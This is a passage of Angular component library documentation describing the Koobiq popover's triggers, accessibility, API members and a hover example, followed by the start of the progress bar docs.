    private findWrapper(range: Range, tag: string): HTMLElement | null {
        const article = this.text()?.nativeElement;
        const node = range.commonAncestorContainer;
        const element = node.nodeType === TEXT_NODE ? node.parentElement : (node as HTMLElement);
        const wrapper = element?.closest<HTMLElement>(tag);

        return wrapper && article?.contains(wrapper) ? wrapper : null;
    }

    private select(range: Range): void {
        const selection = this.document.getSelection();

        selection?.removeAllRanges();
        selection?.addRange(range);
    }
}
```

`kbqPopoverOrigin` accepts an element or a rectangle in viewport coordinates. `kbqCreateCaretOrigin` creates a dynamic origin for the selection, and `kbqGetSelectionRect` measures its position inside the element. `updatePosition(true)` moves an open popover to a changed selection. `null` anchors it back to the trigger.

`[kbqPopoverAutoFocus]="false"` leaves the focus and selection where they were. Cancel the default `mousedown` action inside the popover so the first click does not collapse the selection. Handle `Escape` on the document: the focus stays in the text, so neither the trigger nor the panel receives the key.

The popover opens once the selection is final: after `pointerup` for pointer selection and after a short pause for keyboard selection. Otherwise, it anchors to the first characters of a selection that is still growing. The popover lives in an overlay at the end of the document, so `Tab` walks past it; when needed, handle `Tab` separately and move focus to the first popover element.

#### Opening and closing

By default the popover opens on a click and on `Enter`/`Space`, and closes on a click outside it, on `Esc`, or through the close button. Other triggers are selected with `kbqTrigger`: `hover`, `focus`, `manual`, or a comma-separated combination of them.

`kbqEnterDelay` and `kbqLeaveDelay` set the delays before opening and closing, in milliseconds. Both default to `0`, with one exception: a popover whose trigger includes `hover` closes after 500 ms unless `kbqLeaveDelay` is bound explicitly, which keeps the panel reachable while the pointer travels towards it. Bind `kbqLeaveDelay="0"` to opt out.

`kbqTrigger`, `kbqEnterDelay` and `kbqLeaveDelay` are shared with the [tooltip](https://koobiq.io/en/components/tooltip.md) directive, so binding them on an element that carries both reconfigures both.

#### Accessibility

The panel is exposed as a dialog and is labelled by its header. A popover without a header has nothing to take its name from, so give it one with `kbqPopoverAriaLabel`: until the panel has a name it is not announced as a dialog at all, because an unnamed dialog tells the user nothing.

Opening the popover by click, by keyboard or programmatically moves focus into the panel and keeps it there while it is open; every closing path returns focus to the trigger. A popover opened by hover or focus does not take focus, because it is dismissed by the pointer leaving it.

#### Recommendations

When a short text without interactive elements needs to be shown in a popup, use a [tooltip](https://koobiq.io/en/components/tooltip.md).

A [Dropdown](https://koobiq.io/en/components/dropdown.md) is suitable for showing a list of commands. Dropdown does not support Tab navigation inside the dropdown menu. A popover, on the other hand, works like a modal window: when opened, it captures focus and navigates through the window's content.

### API

#### Components

##### KbqPopoverComponent (component)

```ts
@Component({ selector: 'kbq-popover-component' })
class KbqPopoverComponent extends KbqPopUp {
    prefix: string;
    header: string | TemplateRef<any>;
    footer: string | TemplateRef<any>;
    trigger: KbqPopoverTrigger;
    isTrapFocus: boolean;
    hasCloseButton: boolean;
    panelId: string;
    ariaLabel: string | undefined;
    get elementRef(): ElementRef<HTMLElement>;
    readonly cdkTrapFocus: Signal<CdkTrapFocus>;
    get headerId(): string;
    readonly destroyRef: DestroyRef;
    readonly hovered: Signal<boolean>;
    content: string | TemplateRef<unknown>;
    context: { $implicit: unknown } | null;
    classMap: {};
    arrow: boolean;
    arrowCentered: boolean;
    defaultPaddings: boolean;
    offset: number | null;
    visibility: PopUpVisibility;
    visibleChange: EventEmitter<boolean>;
    updateClassMap(
        placement: string,
        customClass: string,
        size: KbqPopUpSizeValues
    ): void;
    updateTrapFocus(isTrapFocus: boolean): void;
    onEscape(event?: Event): void;
    isTemplateRef(value: any): boolean;
    show(delay: number): void;
    hide(delay: number): void;
    isVisible(): boolean;
    afterHidden(): Observable<void>;
    detectChanges(): void;
}
```

- `panelId`: `string` — Id of the panel element, referenced by the trigger's `aria-controls`. Written by the trigger.
- `ariaLabel`: `string | undefined` — Accessible name of the panel, used when there is no header to label it. Written by the trigger.
- `elementRef`: `ElementRef<HTMLElement>` — Panel element (`.kbq-popover`), not the component host.

  Deliberately shadows the injected `KbqPopUp.elementRef`: the base measures and decorates the visible
  panel, so both `applyPopupMargins` here and `setStickPosition`/`addEventListenerForHide` in the base
  must resolve to the same element. The confirm template carries the matching `#popover` reference.
- `headerId`: `string` — Id of the header text node, referenced by the panel's `aria-labelledby`.
- `hovered`: `Signal<boolean>` — Whether the pointer is over the pop-up.
- `classMap`: `{}` — CSS classes of the pop-up element: the placement, the custom class and the modifiers of the subclass.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `visibility`: `PopUpVisibility` — Stage of the pop-up's life: not shown yet, visible, or hidden.
- `onEscape()`: `void` — Closes the panel on `Escape` inside it, unless a control there spent the key closing a popup of its own.
- `hide()`: `void` — Hides the popup after a specified delay.

  The hide timeout triggers the hiding of the popup by updating visibility and emitting relevant events.
  - `delay`: `number` — The delay in milliseconds before hiding the popup.
- `afterHidden()`: `Observable<void>` — Returns an observable that notifies when the tooltip has been hidden from view.

##### KbqPopoverConfirmComponent (component)

```ts
@Component({ selector: 'kbq-popover-confirm-component' })
class KbqPopoverConfirmComponent extends KbqPopoverComponent {
    confirmButtonText: string;
    confirmText: string;
    prefix: string;
    header: string | TemplateRef<any>;
    footer: string | TemplateRef<any>;
    trigger: KbqPopoverTrigger;
    isTrapFocus: boolean;
    hasCloseButton: boolean;
    panelId: string;
    ariaLabel: string | undefined;
    get elementRef(): ElementRef<HTMLElement>;
    readonly cdkTrapFocus: Signal<CdkTrapFocus>;
    get headerId(): string;
    readonly destroyRef: DestroyRef;
    readonly hovered: Signal<boolean>;
    content: string | TemplateRef<unknown>;
    context: { $implicit: unknown } | null;
    classMap: {};
    arrow: boolean;
    arrowCentered: boolean;
    defaultPaddings: boolean;
    offset: number | null;
    visibility: PopUpVisibility;
    visibleChange: EventEmitter<boolean>;
    updateClassMap(
        placement: string,
        customClass: string,
        size: KbqPopUpSizeValues
    ): void;
    updateTrapFocus(isTrapFocus: boolean): void;
    onEscape(event?: Event): void;
    isTemplateRef(value: any): boolean;
    show(delay: number): void;
    hide(delay: number): void;
    isVisible(): boolean;
    afterHidden(): Observable<void>;
    detectChanges(): void;
}
```

- `confirmButtonText`: `string` — Caption of the confirm button. Written by the trigger.
- `confirmText`: `string` — Question rendered in the panel. Written by the trigger.
- `panelId`: `string` — Id of the panel element, referenced by the trigger's `aria-controls`. Written by the trigger.
- `ariaLabel`: `string | undefined` — Accessible name of the panel, used when there is no header to label it. Written by the trigger.
- `elementRef`: `ElementRef<HTMLElement>` — Panel element (`.kbq-popover`), not the component host.

  Deliberately shadows the injected `KbqPopUp.elementRef`: the base measures and decorates the visible
  panel, so both `applyPopupMargins` here and `setStickPosition`/`addEventListenerForHide` in the base
  must resolve to the same element. The confirm template carries the matching `#popover` reference.
- `headerId`: `string` — Id of the header text node, referenced by the panel's `aria-labelledby`.
- `hovered`: `Signal<boolean>` — Whether the pointer is over the pop-up.
- `classMap`: `{}` — CSS classes of the pop-up element: the placement, the custom class and the modifiers of the subclass.
- `arrowCentered`: `boolean` — Whether the arrow points at the origin center while the panel keeps its placement. Defaults to `false`.
- `visibility`: `PopUpVisibility` — Stage of the pop-up's life: not shown yet, visible, or hidden.
- `onEscape()`: `void` — Closes the panel on `Escape` inside it, unless a control there spent the key closing a popup of its own.
- `hide()`: `void` — Hides the popup after a specified delay.

  The hide timeout triggers the hiding of the popup by updating visibility and emitting relevant events.
  - `delay`: `number` — The delay in milliseconds before hiding the popup.
- `afterHidden()`: `Observable<void>` — Returns an observable that notifies when the tooltip has been hidden from view.

#### Directives

##### KbqPopoverConfirmTrigger (directive)

```ts
@Directive({ selector: '[kbqPopoverConfirm]', exportAs: 'kbqPopoverConfirm' })
class KbqPopoverConfirmTrigger extends KbqPopoverTrigger {
    readonly popoverHideIfNotInViewPort = input<boolean>(true, {
        alias: 'kbqPopoverHideIfNotInViewPort'
    });
    readonly confirm = output<void>();
    confirmText: string;
    confirmButtonText: string;
    readonly panelId: string;
    preventClose: boolean;
    defaultPaddings: boolean;
    set popoverDefaultPaddings(value: boolean);
    popoverVisible: boolean;
    popoverPlacement: KbqPopUpPlacementValues;
    popoverPlacementPriority: string | string[] | null;
    stickToWindow: KbqStickToWindowPlacementValues | undefined;
    container: HTMLElement | undefined;
    set popoverContainer(value: HTMLElement | undefined);
    hasBackdrop: boolean;
    set popoverHasBackdrop(value: boolean);
    header: string | TemplateRef<any>;
    content: string | TemplateRef<any>;
    footer: string | TemplateRef<any>;
    disabled: boolean;
    trigger: string;
    size: KbqPopUpSizeValues;
    customClass: string;
    context: unknown;
    ariaLabel: string | undefined;
    hasCloseButton: boolean;
    set popoverHasCloseButton(value: boolean);
    closeOnScroll: boolean | null;
    set popoverCloseOnScroll(value: boolean);
    get hasClickTrigger(): boolean;
    get capturesFocusOnOpen(): boolean;
    backdropClass: string;
    set popoverBackdropClass(value: string);
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    autoFocus: boolean;
    relativeToPointer: boolean;
    popoverOrigin: KbqOverlayOrigin | null;
    enterDelay: number;
    set kbqLeaveDelay(value: number);
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    updatePosition(reapplyPosition?: boolean): void;
    restoreFocus(): void;
    close(): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[kbqPopoverHideIfNotInViewPort]`: `boolean` — Input (`kbqPopoverHideIfNotInViewPort`) — whether the popover closes once its trigger scrolls out of the
  nearest scrollable ancestor. A bound `null` or `undefined` restores the default, `true`.
- `(confirm)`: `void` — Emits when the user confirms the action.
- `confirmText`: `string` — Input (`kbqPopoverConfirmText`) — question rendered in the panel. Falls back to
  `KBQ_POPOVER_CONFIRM_TEXT` and then to the `popoverConfirm` section of the active locale while
  unset or `undefined`.
- `confirmButtonText`: `string` — Input (`kbqPopoverConfirmButtonText`) — caption of the confirm button. Falls back to
  `KBQ_POPOVER_CONFIRM_BUTTON_TEXT` and then to the `popoverConfirm` section of the active locale
  while unset or `undefined`.
- `panelId`: `string` — Id of the panel this trigger controls, shared with `aria-controls`.
- `preventClose`: `boolean` — prevents closure by any event
- `defaultPaddings`: `boolean` — Whether the header, content and footer keep their default paddings. Bound with `kbqPopoverDefaultPaddings`.
- `popoverDefaultPaddings`: `boolean` — Input (`kbqPopoverDefaultPaddings`) — sets `defaultPaddings`.
- `popoverVisible`: `boolean` — Input (`kbqPopoverVisible`) — opens the popover when set to `true` and closes it when set to `false`.
- `popoverPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPopoverPlacement`) — preferred placement of the panel relative to the trigger.
- `popoverPlacementPriority`: `string | string[] | null` — Input (`kbqPopoverPlacementPriority`) — ordered placements tried before the default strategy.
- `stickToWindow`: `KbqStickToWindowPlacementValues | undefined` — Additionally positions the element relative to the window side (Top, Right, Bottom and Left).
  If container is specified, the positioning will be relative to it.
- `container`: `HTMLElement | undefined` — Container for additional positioning, used with `kbqPopoverStickToWindow`. Bound with `kbqPopoverContainer`.
- `popoverContainer`: `HTMLElement | undefined` — Input (`kbqPopoverContainer`) — sets `container`.
- `hasBackdrop`: `boolean` — Whether a backdrop is rendered behind the panel. With a backdrop the popover closes on a backdrop click
  instead of on any outside pointer event. Bound with `kbqPopoverHasBackdrop`.
- `popoverHasBackdrop`: `boolean` — Input (`kbqPopoverHasBackdrop`) — sets `hasBackdrop`.
- `header`: `string | TemplateRef<any>` — Input (`kbqPopoverHeader`) — header of the panel, as a string or a template.
- `content`: `string | TemplateRef<any>` — Input (`kbqPopoverContent`) — content of the panel, as a string or a template.
- `footer`: `string | TemplateRef<any>` — Input (`kbqPopoverFooter`) — footer of the panel, as a string or a template.
- `disabled`: `boolean` — Input (`kbqPopoverDisabled`) — disables the trigger and closes an open popover.
- `trigger`: `string` — Input (`kbqTrigger`) with the comma-separated trigger events. An empty value resets to click + keydown
  and rebinds listeners. The alias is shared with `kbqTooltip`, so binding it on an element that carries
  both reconfigures both.
- `size`: `KbqPopUpSizeValues` — Input (`kbqPopoverSize`) — preset width of the panel. An unknown value falls back to `medium`.
- `customClass`: `string` — Input (`kbqPopoverClass`) with extra CSS classes applied to the panel.
- `context`: `unknown` — Context for popover templates (kbqPopoverHeader, kbqPopoverContent and kbqPopoverFooter).
- `ariaLabel`: `string | undefined` — Accessible name of the panel. Ignored while a string `kbqPopoverHeader` is set — the header labels the
  dialog then — and recommended for every header-less popover.
- `hasCloseButton`: `boolean` — Renders the icon-only close button in the top corner of the panel. Bound with `kbqPopoverHasCloseButton`.
- `popoverHasCloseButton`: `boolean` — Input (`kbqPopoverHasCloseButton`) — sets `hasCloseButton`.
- `closeOnScroll`: `boolean | null` — Controls the behavior of closing the component on scroll. Bound with `kbqPopoverCloseOnScroll`. Three
  states:
  - `null` (default) — the popover survives a scroll, except when it scrolls out of a
    `.kbq-hide-nested-popup` container, which closes it;
  - `true` — any scroll closes the popover;
  - `false` — no scroll closes the popover, not even a `.kbq-hide-nested-popup` one.

  Use CloseScrollStrategy as alternative
- `popoverCloseOnScroll`: `boolean` — Input (`kbqPopoverCloseOnScroll`) — sets `closeOnScroll`.
- `hasClickTrigger`: `boolean` — Whether the trigger opens the popover on click, which is also what makes it a labelled dialog opener.
- `capturesFocusOnOpen`: `boolean` — Whether opening the popover should move the keyboard focus into the panel. Only deliberate opens
  (click, keyboard, programmatic) do — a hover- or focus-triggered popover must not steal focus.
- `backdropClass`: `string` — CSS class applied to the backdrop, when there is one. Bound with `kbqPopoverBackdropClass`.
- `popoverBackdropClass`: `string` — Input (`kbqPopoverBackdropClass`) — sets `backdropClass`.
- `arrow`: `boolean` — Input (`kbqPopoverArrow`) — renders the arrow pointing at the trigger.
- `arrowCentered`: `boolean` — Input (`kbqPopoverArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Defaults to `false`.
- `offset`: `number | null` — Input (`kbqPopoverOffset`) — distance between the trigger and the panel, in pixels.
- `autoFocus`: `boolean` — Input (`kbqPopoverAutoFocus`) — whether opening the popover moves the keyboard focus into the panel. Turn it
  off for a panel that must not disturb what the reader is doing: taking focus away from a text selection
  collapses it. Focus then never enters the panel, so its content has to be reachable some other way.
- `relativeToPointer`: `boolean` — Input (`kbqRelativeToPointer`) — positions a click-opened popover at the click point. Keyboard and
  programmatic opens stay on the trigger. An explicit `kbqPopoverOrigin` takes precedence. Defaults to `false`.
- `popoverOrigin`: `KbqOverlayOrigin | null` — Input (`kbqPopoverOrigin`) — what the panel is positioned against: an element, or a rectangle in viewport
  coordinates such as the one `kbqCreateCaretOrigin` keeps on the caret. `null` anchors it to the trigger.

  Bind it before `kbqPopoverVisible`, which opens the panel as it is written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay before opening, in milliseconds. Defaults to `0`.
- `kbqLeaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay before closing, in milliseconds. Defaults to `0`, and to
  `defaultHoverLeaveDelay` when `kbqTrigger` includes `hover`.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Emits the resolved placement whenever the panel is repositioned.

  Declared as `string` to match the abstract member on `KbqPopUpTrigger`: `EventEmitter` is invariant,
  so a narrower emitter cannot override a wider one. Narrowing both is a change to the shared pop-up
  base and belongs to the branch that owns it.
- `visibleChange`: `EventEmitter<boolean>` — Emits `true` when the panel opens and `false` when it closes.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `updatePosition()`: `void` — Re-applies the overlay position.

  Deliberately narrower than the inherited one, which also rebuilds the closing-action subscription:
  that stream carries a `delay(0)`, so a reposition coalesced into the same task as an outside click —
  which is the task in which that click's change detection writes a popover input — would drop the
  close the click had already scheduled.
- `restoreFocus()`: `void` — Returns focus to the trigger when the popover is closed while focus is still inside its panel.

  Goes through `FocusMonitor` rather than a native `focus()` call: the kbq focus ring is only rendered
  for a monitored origin, and a `program` origin keeps a tooltip on the same element from re-opening.
- `close()`: `void` — Closes the popover on a deliberate action — the panel's close button, or `Escape` inside the panel.

  `hide()` keeps a hover popover open while the pointer rests on the panel, so that the pointer can
  travel from the trigger to the content; that is exactly where the pointer is when the close button is
  clicked, so a deliberate close answers to `kbqPopoverPreventClose` and to nothing else.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

##### KbqPopoverTrigger (directive)

```ts
@Directive({ selector: '[kbqPopover]', exportAs: 'kbqPopover' })
class KbqPopoverTrigger extends KbqPopUpTrigger<KbqPopoverComponent> {
    readonly popoverHideIfNotInViewPort = input<boolean>(true, {
        alias: 'kbqPopoverHideIfNotInViewPort'
    });
    readonly panelId: string;
    preventClose: boolean;
    defaultPaddings: boolean;
    set popoverDefaultPaddings(value: boolean);
    popoverVisible: boolean;
    popoverPlacement: KbqPopUpPlacementValues;
    popoverPlacementPriority: string | string[] | null;
    stickToWindow: KbqStickToWindowPlacementValues | undefined;
    container: HTMLElement | undefined;
    set popoverContainer(value: HTMLElement | undefined);
    hasBackdrop: boolean;
    set popoverHasBackdrop(value: boolean);
    header: string | TemplateRef<any>;
    content: string | TemplateRef<any>;
    footer: string | TemplateRef<any>;
    disabled: boolean;
    trigger: string;
    size: KbqPopUpSizeValues;
    customClass: string;
    context: unknown;
    ariaLabel: string | undefined;
    hasCloseButton: boolean;
    set popoverHasCloseButton(value: boolean);
    closeOnScroll: boolean | null;
    set popoverCloseOnScroll(value: boolean);
    get hasClickTrigger(): boolean;
    get capturesFocusOnOpen(): boolean;
    backdropClass: string;
    set popoverBackdropClass(value: string);
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    autoFocus: boolean;
    relativeToPointer: boolean;
    popoverOrigin: KbqOverlayOrigin | null;
    enterDelay: number;
    set kbqLeaveDelay(value: number);
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    updatePosition(reapplyPosition?: boolean): void;
    restoreFocus(): void;
    close(): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[kbqPopoverHideIfNotInViewPort]`: `boolean` — Input (`kbqPopoverHideIfNotInViewPort`) — whether the popover closes once its trigger scrolls out of the
  nearest scrollable ancestor. A bound `null` or `undefined` restores the default, `true`.
- `panelId`: `string` — Id of the panel this trigger controls, shared with `aria-controls`.
- `preventClose`: `boolean` — prevents closure by any event
- `defaultPaddings`: `boolean` — Whether the header, content and footer keep their default paddings. Bound with `kbqPopoverDefaultPaddings`.
- `popoverDefaultPaddings`: `boolean` — Input (`kbqPopoverDefaultPaddings`) — sets `defaultPaddings`.
- `popoverVisible`: `boolean` — Input (`kbqPopoverVisible`) — opens the popover when set to `true` and closes it when set to `false`.
- `popoverPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPopoverPlacement`) — preferred placement of the panel relative to the trigger.
- `popoverPlacementPriority`: `string | string[] | null` — Input (`kbqPopoverPlacementPriority`) — ordered placements tried before the default strategy.
- `stickToWindow`: `KbqStickToWindowPlacementValues | undefined` — Additionally positions the element relative to the window side (Top, Right, Bottom and Left).
  If container is specified, the positioning will be relative to it.
- `container`: `HTMLElement | undefined` — Container for additional positioning, used with `kbqPopoverStickToWindow`. Bound with `kbqPopoverContainer`.
- `popoverContainer`: `HTMLElement | undefined` — Input (`kbqPopoverContainer`) — sets `container`.
- `hasBackdrop`: `boolean` — Whether a backdrop is rendered behind the panel. With a backdrop the popover closes on a backdrop click
  instead of on any outside pointer event. Bound with `kbqPopoverHasBackdrop`.
- `popoverHasBackdrop`: `boolean` — Input (`kbqPopoverHasBackdrop`) — sets `hasBackdrop`.
- `header`: `string | TemplateRef<any>` — Input (`kbqPopoverHeader`) — header of the panel, as a string or a template.
- `content`: `string | TemplateRef<any>` — Input (`kbqPopoverContent`) — content of the panel, as a string or a template.
- `footer`: `string | TemplateRef<any>` — Input (`kbqPopoverFooter`) — footer of the panel, as a string or a template.
- `disabled`: `boolean` — Input (`kbqPopoverDisabled`) — disables the trigger and closes an open popover.
- `trigger`: `string` — Input (`kbqTrigger`) with the comma-separated trigger events. An empty value resets to click + keydown
  and rebinds listeners. The alias is shared with `kbqTooltip`, so binding it on an element that carries
  both reconfigures both.
- `size`: `KbqPopUpSizeValues` — Input (`kbqPopoverSize`) — preset width of the panel. An unknown value falls back to `medium`.
- `customClass`: `string` — Input (`kbqPopoverClass`) with extra CSS classes applied to the panel.
- `context`: `unknown` — Context for popover templates (kbqPopoverHeader, kbqPopoverContent and kbqPopoverFooter).
- `ariaLabel`: `string | undefined` — Accessible name of the panel. Ignored while a string `kbqPopoverHeader` is set — the header labels the
  dialog then — and recommended for every header-less popover.
- `hasCloseButton`: `boolean` — Renders the icon-only close button in the top corner of the panel. Bound with `kbqPopoverHasCloseButton`.
- `popoverHasCloseButton`: `boolean` — Input (`kbqPopoverHasCloseButton`) — sets `hasCloseButton`.
- `closeOnScroll`: `boolean | null` — Controls the behavior of closing the component on scroll. Bound with `kbqPopoverCloseOnScroll`. Three
  states:
  - `null` (default) — the popover survives a scroll, except when it scrolls out of a
    `.kbq-hide-nested-popup` container, which closes it;
  - `true` — any scroll closes the popover;
  - `false` — no scroll closes the popover, not even a `.kbq-hide-nested-popup` one.

  Use CloseScrollStrategy as alternative
- `popoverCloseOnScroll`: `boolean` — Input (`kbqPopoverCloseOnScroll`) — sets `closeOnScroll`.
- `hasClickTrigger`: `boolean` — Whether the trigger opens the popover on click, which is also what makes it a labelled dialog opener.
- `capturesFocusOnOpen`: `boolean` — Whether opening the popover should move the keyboard focus into the panel. Only deliberate opens
  (click, keyboard, programmatic) do — a hover- or focus-triggered popover must not steal focus.
- `backdropClass`: `string` — CSS class applied to the backdrop, when there is one. Bound with `kbqPopoverBackdropClass`.
- `popoverBackdropClass`: `string` — Input (`kbqPopoverBackdropClass`) — sets `backdropClass`.
- `arrow`: `boolean` — Input (`kbqPopoverArrow`) — renders the arrow pointing at the trigger.
- `arrowCentered`: `boolean` — Input (`kbqPopoverArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Defaults to `false`.
- `offset`: `number | null` — Input (`kbqPopoverOffset`) — distance between the trigger and the panel, in pixels.
- `autoFocus`: `boolean` — Input (`kbqPopoverAutoFocus`) — whether opening the popover moves the keyboard focus into the panel. Turn it
  off for a panel that must not disturb what the reader is doing: taking focus away from a text selection
  collapses it. Focus then never enters the panel, so its content has to be reachable some other way.
- `relativeToPointer`: `boolean` — Input (`kbqRelativeToPointer`) — positions a click-opened popover at the click point. Keyboard and
  programmatic opens stay on the trigger. An explicit `kbqPopoverOrigin` takes precedence. Defaults to `false`.
- `popoverOrigin`: `KbqOverlayOrigin | null` — Input (`kbqPopoverOrigin`) — what the panel is positioned against: an element, or a rectangle in viewport
  coordinates such as the one `kbqCreateCaretOrigin` keeps on the caret. `null` anchors it to the trigger.

  Bind it before `kbqPopoverVisible`, which opens the panel as it is written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay before opening, in milliseconds. Defaults to `0`.
- `kbqLeaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay before closing, in milliseconds. Defaults to `0`, and to
  `defaultHoverLeaveDelay` when `kbqTrigger` includes `hover`.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Emits the resolved placement whenever the panel is repositioned.

  Declared as `string` to match the abstract member on `KbqPopUpTrigger`: `EventEmitter` is invariant,
  so a narrower emitter cannot override a wider one. Narrowing both is a change to the shared pop-up
  base and belongs to the branch that owns it.
- `visibleChange`: `EventEmitter<boolean>` — Emits `true` when the panel opens and `false` when it closes.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `updatePosition()`: `void` — Re-applies the overlay position.

  Deliberately narrower than the inherited one, which also rebuilds the closing-action subscription:
  that stream carries a `delay(0)`, so a reposition coalesced into the same task as an outside click —
  which is the task in which that click's change detection writes a popover input — would drop the
  close the click had already scheduled.
- `restoreFocus()`: `void` — Returns focus to the trigger when the popover is closed while focus is still inside its panel.

  Goes through `FocusMonitor` rather than a native `focus()` call: the kbq focus ring is only rendered
  for a monitored origin, and a `program` origin keeps a tooltip on the same element from re-opening.
- `close()`: `void` — Closes the popover on a deliberate action — the panel's close button, or `Escape` inside the panel.

  `hide()` keeps a hover popover open while the pointer rests on the panel, so that the pointer can
  travel from the trigger to the content; that is exactly where the pointer is when the close button is
  clicked, so a deliberate close answers to `kbqPopoverPreventClose` and to nothing else.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

#### Constants

##### defaultHoverLeaveDelay (const)

Leave delay applied to a hover-triggered popover when `kbqLeaveDelay` is not bound.

```ts
const defaultHoverLeaveDelay: number;
```

##### defaultOffsetYWithArrow (const)

```ts
const defaultOffsetYWithArrow: number;
```

##### KBQ_POPOVER_CONFIRM_BUTTON_TEXT (const)

Overrides the confirm-button caption of every confirmation popover in the injector scope. Takes precedence
over the locale, but not over the `kbqPopoverConfirmButtonText` input.

```ts
const KBQ_POPOVER_CONFIRM_BUTTON_TEXT: InjectionToken<string>;
```

##### KBQ_POPOVER_CONFIRM_TEXT (const)

Overrides the question of every confirmation popover in the injector scope. Takes precedence over the
locale, but not over the `kbqPopoverConfirmText` input.

```ts
const KBQ_POPOVER_CONFIRM_TEXT: InjectionToken<string>;
```

##### KBQ_POPOVER_SCROLL_STRATEGY (const)

```ts
const KBQ_POPOVER_SCROLL_STRATEGY: InjectionToken<() => ScrollStrategy>;
```

### Examples

#### Opening on hover

**Example: Popover hover** (`popover-hover`)

```ts popover-hover-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqPopoverModule } from '@koobiq/components/popover';

@Component({
    selector: 'popover-hover-example',
    imports: [KbqPopoverModule, KbqButtonModule, KbqInputModule],
    template: `
        <ng-template #customContent>
            <div class="layout-margin-bottom-s">Интересно, что это такое?</div>
            <kbq-form-field>
                <input kbqInput placeholder="Интересная мысль" />
            </kbq-form-field>
        </ng-template>

        <ng-template #customFooter>
            <div class="layout-row layout-wrap" style="gap: 16px">
                <button kbq-button [color]="'contrast'" (click)="kbqPopover.hide(0)">Сохранить</button>
                <button kbq-button (click)="kbqPopover.hide(0)">Отмена</button>
            </div>
        </ng-template>

        <button
            #kbqPopover="kbqPopover"
            kbq-button
            kbqPopover
            [kbqPopoverClass]="'popover-overview-example'"
            [kbqPopoverContent]="customContent"
            [kbqPopoverFooter]="customFooter"
            [kbqTrigger]="'hover'"
        >
            Открыть поповер
        </button>
    `,
    styles: `
        ::ng-deep .kbq-popover.kbq-popover_medium.popover-overview-example {
            width: 400px;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class PopoverHoverExample {}
```

## Progress bar

- Entry point: `@koobiq/components/progress-bar`
- NgModule: `KbqProgressBarModule`
- Page: https://koobiq.io/en/components/progress-bar/overview

### Overview

`<kbq-progress-bar>` is a component that displays a progress indicator.

#### Simple progress bar

A `<kbq-progress-bar>` element can be used on its own to create a horizontal progress line with koobiq theme

```html
<kbq-progress-bar></kbq-progress-bar>
```

#### Props

##### value

Displaying length of progress bar depends on this property\
The range of value is \[0, 100]\
Default: 0

Values outside the range are clamped, and the property is ignored in indeterminate mode.

This will fill 30% of the whole progress bar:

```html
<kbq-progress-bar [value]="30"></kbq-progress-bar>
```

**Example: Progress bar** (`progress-bar-overview`)

```ts progress-bar-overview-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqInputModule } from '@koobiq/components/input';
import { KbqProgressBarModule } from '@koobiq/components/progress-bar';

@Component({
    selector: 'progress-bar-overview-example',
    imports: [
        KbqProgressBarModule,
        KbqInputModule,
        FormsModule
    ],
    template: `
        <kbq-progress-bar class="example-progress-bar" [value]="percent()" />
        <kbq-form-field>
            <input kbqInput kbqNumberInput [min]="0" [max]="100" [step]="5" [(ngModel)]="percent" />
            <kbq-stepper />
        </kbq-form-field>
    `,
    styles: `
        .example-progress-bar {
            margin-bottom: var(--kbq-size-m);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ProgressBarOverviewExample {
    readonly percent = model(30);
}
```

##### mode

Enum ('determinate', 'indeterminate')\
Default: 'determinate'

To show indeterminate progress

```html
<kbq-progress-bar [mode]="'indeterminate'"></kbq-progress-bar>
